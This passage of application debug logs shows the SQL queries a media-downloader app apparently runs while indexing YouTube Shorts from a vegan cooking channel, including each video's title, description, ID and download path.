s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.382 [debug] QUERY OK source="media_items" db=1.8ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-22 00:00:00Z], 1] 20:31:09.383 [debug] QUERY OK source="media_items" db=0.7ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Maple spiced yams are a super simple holiday side recipe that's vegan and gluten free. Even if you're not a huge fan of sweet potatoes, you'll love this Thanksgiving recipe. Subscribe for more holiday side dishes all this month!", "Maple Spiced Yams 🍠 Yummy and Yammy", "90cc62ad-89f0-41ea-8b5b-0b705f343b32", 1, [], false, "6RXSlNv_H8s", "https://www.youtube.com/shorts/6RXSlNv_H8s", 92, "/downloads/downloads/alec/Steamy Vegan/2023-11-22 Maple Spiced Yams 🍠 Yummy and Yammy/Maple Spiced Yams 🍠 Yummy and Yammy [6RXSlNv_H8s].NA", false, false, true, 2, ~U[2023-11-22 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Maple spiced yams are a super simple holiday side recipe that's vegan and gluten free. Even if you're not a huge fan of sweet potatoes, you'll love this Thanksgiving recipe. Subscribe for more holiday side dishes all this month!", "Maple Spiced Yams 🍠 Yummy and Yammy", 1, nil, false, "6RXSlNv_H8s", "https://www.youtube.com/shorts/6RXSlNv_H8s", "/downloads/downloads/alec/Steamy Vegan/2023-11-22 Maple Spiced Yams 🍠 Yummy and Yammy/Maple Spiced Yams 🍠 Yummy and Yammy [6RXSlNv_H8s].NA", true, ~U[2023-11-22 00:00:00Z]] 20:31:09.384 [debug] QUERY OK source="sources" db=0.4ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.386 [debug] QUERY OK source="media_items" db=1.9ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-21 00:00:00Z], 1] 20:31:09.404 [debug] QUERY OK source="media_items" db=17.2ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Harvard beets are a classic in my family for Thanksgiving and Christmas dinner and they're perfect for anyone who is vegan or on a gluten free diet. This simple side dish is a must make this holiday season and it's such an easy recipe. \n\nSubscribe and check out all the vegan and gluten free holiday sides I'll be making this week!", "Harvard Beets…My Fave Holiday Side 🤤", "20f5cc62-d838-41b8-b583-5d4c6dc31601", 1, [], false, "zLC1Glrs5Cg", "https://www.youtube.com/shorts/zLC1Glrs5Cg", 93, "/downloads/downloads/alec/Steamy Vegan/2023-11-21 Harvard Beets…My Fave Holiday Side 🤤/Harvard Beets…My Fave Holiday Side 🤤 [zLC1Glrs5Cg].NA", false, false, true, 2, ~U[2023-11-21 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Harvard beets are a classic in my family for Thanksgiving and Christmas dinner and they're perfect for anyone who is vegan or on a gluten free diet. This simple side dish is a must make this holiday season and it's such an easy recipe. \n\nSubscribe and check out all the vegan and gluten free holiday sides I'll be making this week!", "Harvard Beets…My Fave Holiday Side 🤤", 1, nil, false, "zLC1Glrs5Cg", "https://www.youtube.com/shorts/zLC1Glrs5Cg", "/downloads/downloads/alec/Steamy Vegan/2023-11-21 Harvard Beets…My Fave Holiday Side 🤤/Harvard Beets…My Fave Holiday Side 🤤 [zLC1Glrs5Cg].NA", true, ~U[2023-11-21 00:00:00Z]] 20:31:09.405 [debug] QUERY OK source="sources" db=0.6ms idle=21.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.408 [debug] QUERY OK source="media_items" db=2.4ms idle=22.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-20 00:00:00Z], 1] 20:31:09.410 [debug] QUERY OK source="media_items" db=1.1ms idle=24.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These are all the plant based and gluten free recipes that I love to make for Thanksgiving and Christmas. If you're vegan or gluten free you'll love them and if you're not and know people in your family who are then these will be perfect to make. Check out the full what I eat in a day Thanksgiving video on the channel!", "Plant Based for the Holidays 🎄", "0c6ec611-ca9a-48c9-891a-4bdc6f56f2a3", 1, [], false, "jaGvxd_qOp4", "https://www.youtube.com/shorts/jaGvxd_qOp4", 94, "/downloads/downloads/alec/Steamy Vegan/2023-11-20 Plant Based for the Holidays 🎄/Plant Based for the Holidays 🎄 [jaGvxd_qOp4].NA", false, false, true, 1, ~U[2023-11-20 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These are all the plant based and gluten free recipes that I love to make for Thanksgiving and Christmas. If you're vegan or gluten free you'll love them and if you're not and know people in your family who are then these will be perfect to make. Check out the full what I eat in a day Thanksgiving video on the channel!", "Plant Based for the Holidays 🎄", 1, nil, false, "jaGvxd_qOp4", "https://www.youtube.com/shorts/jaGvxd_qOp4", "/downloads/downloads/alec/Steamy Vegan/2023-11-20 Plant Based for the Holidays 🎄/Plant Based for the Holidays 🎄 [jaGvxd_qOp4].NA", true, ~U[2023-11-20 00:00:00Z]] 20:31:09.411 [debug] QUERY OK source="sources" db=1.0ms idle=23.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.414 [debug] QUERY OK source="media_items" db=2.4ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-12 00:00:00Z], 1] 20:31:09.415 [debug] QUERY OK source="media_items" db=0.7ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan nutella recipe won't last through the night it's so good. It's super easy to make, only 7 ingredients, and is healthier than the original nutella. \n\nCheck out the full recipe and make it for yourself! ➡️ https://steamyvegan.com/vegan-nutella/", "Nutella Recipe 🤤NO dairy, NO palm oil 👍", "d1d1a61a-80e2-4bbd-95b1-94b01327d97b", 1, [], false, "OeqchGVBJSI", "https://www.youtube.com/shorts/OeqchGVBJSI", 95, "/downloads/downloads/alec/Steamy Vegan/2023-11-12 Nutella Recipe 🤤NO dairy, NO palm oil 👍/Nutella Recipe 🤤NO dairy, NO palm oil 👍 [OeqchGVBJSI].NA", false, false, true, 1, ~U[2023-11-12 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan nutella recipe won't last through the night it's so good. It's super easy to make, only 7 ingredients, and is healthier than the original nutella. \n\nCheck out the full recipe and make it for yourself! ➡️ https://steamyvegan.com/vegan-nutella/", "Nutella Recipe 🤤NO dairy, NO palm oil 👍", 1, nil, false, "OeqchGVBJSI", "https://www.youtube.com/shorts/OeqchGVBJSI", "/downloads/downloads/alec/Steamy Vegan/2023-11-12 Nutella Recipe 🤤NO dairy, NO palm oil 👍/Nutella Recipe 🤤NO dairy, NO palm oil 👍 [OeqchGVBJSI].NA", true, ~U[2023-11-12 00:00:00Z]] 20:31:09.416 [debug] QUERY OK source="sources" db=0.7ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.418 [debug] QUERY OK source="media_items" db=2.1ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-10 00:00:00Z], 1] 20:31:09.420 [debug] QUERY OK source="media_items" db=0.8ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I\"ve made this apple crumble vegan and gluten free and it can easily be adjusted to be refined sugar free and to be oil-free. Check out the full apple crumble recipe live on the channel!", "Are you ready to CRUMBLE! 🥊 Apple Crumble Recipe 🍎 🍏", "02981c0a-ddcb-4f41-be1a-05f579d80af8", 1, [], false, "6nk0rPa1xmg", "https://www.youtube.com/shorts/6nk0rPa1xmg", 96, "/downloads/downloads/alec/Steamy Vegan/2023-11-10 Are you ready to CRUMBLE! 🥊 Apple Crumble Recipe 🍎 🍏/Are you ready to CRUMBLE! 🥊 Apple Crumble Recipe 🍎 🍏 [6nk0rPa1xmg].NA", false, false, true, 1, ~U[2023-11-10 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I\"ve made this apple crumble vegan and gluten free and it can easily be adjusted to be refined sugar free and to be oil-free. Check out the full apple crumble recipe live on the channel!", "Are you ready to CRUMBLE! 🥊 Apple Crumble Recipe 🍎 🍏", 1, nil, false, "6nk0rPa1xmg", "https://www.youtube.com/shorts/6nk0rPa1xmg", "/downloads/downloads/alec/Steamy Vegan/2023-11-10 Are you ready to CRUMBLE! 🥊 Apple Crumble Recipe 🍎 🍏/Are you ready to CRUMBLE! 🥊 Apple Crumble Recipe 🍎 🍏 [6nk0rPa1xmg].NA", true, ~U[2023-11-10 00:00:00Z]] 20:31:09.421 [debug] QUERY OK source="sources" db=0.4ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.423 [debug] QUERY OK source="media_items" db=1.8ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-29 00:00:00Z], 1] 20:31:09.424 [debug] QUERY OK source="media_items" db=0.6ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These are just a few of the vegan and gluten recipes recipes I ate over the past week. For all of the recipes and more what I eat in a week videos feel free to subscribe and check out the channel for more.\n\nI post twice a week and all of my videos are vegan and gluten free recipes for beginners.", "What I Eat in a Week Fall Pastas", "0f1095f8-0648-4288-a1e9-c8695c41d3fa", 1, [], false, "UCkx_U7ex38", "https://www.youtube.com/shorts/UCkx_U7ex38", 97, "/downloads/downloads/alec/Steamy Vegan/2023-10-29 What I Eat in a Week Fall Pastas/What I Eat in a Week Fall Pastas [UCkx_U7ex38].NA", false, false, true, 1, ~U[2023-10-29 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These are just a few of the vegan and gluten recipes recipes I ate over the past week. For all of the recipes and more what I eat in a week videos feel free to subscribe and check out the channel for more.\n\nI post twice a week and all of my videos are vegan and gluten free recipes for beginners.", "What I Eat in a Week Fall Pastas", 1, nil, false, "UCkx_U7ex38", "https://www.youtube.com/shorts/UCkx_U7ex38", "/downloads/downloads/alec/Steamy Vegan/2023-10-29 What I Eat in a Week Fall Pastas/What I Eat in a Week Fall Pastas [UCkx_U7ex38].NA", true, ~U[2023-10-29 00:00:00Z]] 20:31:09.425 [debug] QUERY OK source="sources" db=0.5ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.427 [debug] QUERY OK source="media_items" db=2.1ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-25 00:00:00Z], 1] 20:31:09.429 [debug] QUERY OK source="media_items" db=0.7ms idle=6.5ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Butternut Squash Pasta VEGAN! 🧅🧄🍝", "209a6cd3-1efc-4251-b086-86a208b87ded", 1, [], false, "6H8vXCCaNRk", "https://www.youtube.com/shorts/6H8vXCCaNRk", 98, "/downloads/downloads/alec/Steamy Vegan/2023-10-25 Butternut Squash Pasta VEGAN! 🧅🧄🍝/Butternut Squash Pasta VEGAN! 🧅🧄🍝 [6H8vXCCaNRk].NA", false, false, true, 1, ~U[2023-10-25 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], nil, "Butternut Squash Pasta VEGAN! 🧅🧄🍝", 1, nil, false, "6H8vXCCaNRk", "https://www.youtube.com/shorts/6H8vXCCaNRk", "/downloads/downloads/alec/Steamy Vegan/2023-10-25 Butternut Squash Pasta VEGAN! 🧅🧄🍝/Butternut Squash Pasta VEGAN! 🧅🧄🍝 [6H8vXCCaNRk].NA", true, ~U[2023-10-25 00:00:00Z]] 20:31:09.430 [debug] QUERY OK source="sources" db=1.0ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.433 [debug] QUERY OK source="media_items" db=2.7ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-23 00:00:00Z], 1] 20:31:09.435 [debug] QUERY OK source="media_items" db=1.4ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan alfredo sauce is creamy and the perfect sauce for pasta if you're vegan, gluten-free, or looking for something that's healthier. It's made from soaked cashews so this alfredo sauce is high protein as well.\n\nCheck out the full pasta vid where I make a vegan mushroom alfredo and a Fall butternut squash pasta.", "Creamy Vegan Alfredo Sauce 😋", "be5ca83c-711f-4b17-bb10-9d8d1c053c03", 1, [], false, "KsFGNUvDNrc", "https://www.youtube.com/shorts/KsFGNUvDNrc", 99, "/downloads/downloads/alec/Steamy Vegan/2023-10-23 Creamy Vegan Alfredo Sauce 😋/Creamy Vegan Alfredo Sauce 😋 [KsFGNUvDNrc].NA", false, false, true, 1, ~U[2023-10-23 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan alfredo sauce is creamy and the perfect sauce for pasta if you're vegan, gluten-free, or looking for something that's healthier. It's made from soaked cashews so this alfredo sauce is high protein as well.\n\nCheck out the full pasta vid where I make a vegan mushroom alfredo and a Fall butternut squash pasta.", "Creamy Vegan Alfredo Sauce 😋", 1, nil, false, "KsFGNUvDNrc", "https://www.youtube.com/shorts/KsFGNUvDNrc", "/downloads/downloads/alec/Steamy Vegan/2023-10-23 Creamy Vegan Alfredo Sauce 😋/Creamy Vegan Alfredo Sauce 😋 [KsFGNUvDNrc].NA", true, ~U[2023-10-23 00:00:00Z]] 20:31:09.436 [debug] QUERY OK source="sources" db=0.9ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.438 [debug] QUERY OK source="media_items" db=2.2ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-21 00:00:00Z], 1] 20:31:09.441 [debug] QUERY OK source="media_items" db=0.8ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video, I show you all the vegan and gluten free foods that I ate in a day to recover from a cold. Check out the full vegan what I eat in a day video by clicking the play button above!", "What I Eat in a Day to Fight a Cold 🥶", "22d985de-1f02-4408-8c68-5698788aa95e", 1, [], false, "Qmjz_REVeOo", "https://www.youtube.com/shorts/Qmjz_REVeOo", 100, "/downloads/downloads/alec/Steamy Vegan/2023-10-21 What I Eat in a Day to Fight a Cold 🥶/What I Eat in a Day to Fight a Cold 🥶 [Qmjz_REVeOo].NA", false, false, true, 1, ~U[2023-10-21 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "In this video, I show you all the vegan and gluten free foods that I ate in a day to recover from a cold. Check out the full vegan what I eat in a day video by clicking the play button above!", "What I Eat in a Day to Fight a Cold 🥶", 1, nil, false, "Qmjz_REVeOo", "https://www.youtube.com/shorts/Qmjz_REVeOo", "/downloads/downloads/alec/Steamy Vegan/2023-10-21 What I Eat in a Day to Fight a Cold 🥶/What I Eat in a Day to Fight a Cold 🥶 [Qmjz_REVeOo].NA", true, ~U[2023-10-21 00:00:00Z]] 20:31:09.442 [debug] QUERY OK source="sources" db=1.6ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.445 [debug] QUERY OK source="media_items" db=2.5ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-20 00:00:00Z], 1] 20:31:09.447 [debug] QUERY OK source="media_items" db=0.9ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["All of these vegan recipes are typical foods that I eat in a week on a vegan and gluten free diet. If you enjoy what I eat in a day videos or vegan GF recipe videos then don't forget to subscribe for more daily content! Thanks for watching!", "What I Eat in a Week COZY FALL SOUPS 🥣", "e7d6b281-7350-4a12-89f7-f2fa8ae48321", 1, [], false, "yktipRErXFY", "https://www.youtube.com/shorts/yktipRErXFY", 101, "/downloads/downloads/alec/Steamy Vegan/2023-10-20 What I Eat in a Week COZY FALL SOUPS 🥣/What I Eat in a Week COZY FALL SOUPS 🥣 [yktipRErXFY].NA", false, false, true, 1, ~U[2023-10-20 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "All of these vegan recipes are typical foods that I eat in a week on a vegan and gluten free diet. If you enjoy what I eat in a day videos or vegan GF recipe videos then don't forget to subscribe for more daily content! Thanks for watching!", "What I Eat in a Week COZY FALL SOUPS 🥣", 1, nil, false, "yktipRErXFY", "https://www.youtube.com/shorts/yktipRErXFY", "/downloads/downloads/alec/Steamy Vegan/2023-10-20 What I Eat in a Week COZY FALL SOUPS 🥣/What I Eat in a Week COZY FALL SOUPS 🥣 [yktipRErXFY].NA", true, ~U[2023-10-20 00:00:00Z]] 20:31:09.448 [debug] QUERY OK source="sources" db=0.7ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.450 [debug] QUERY OK source="media_items" db=1.8ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-18 00:00:00Z], 1] 20:31:09.453 [debug] QUERY OK source="media_items" db=0.8ms idle=9.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, 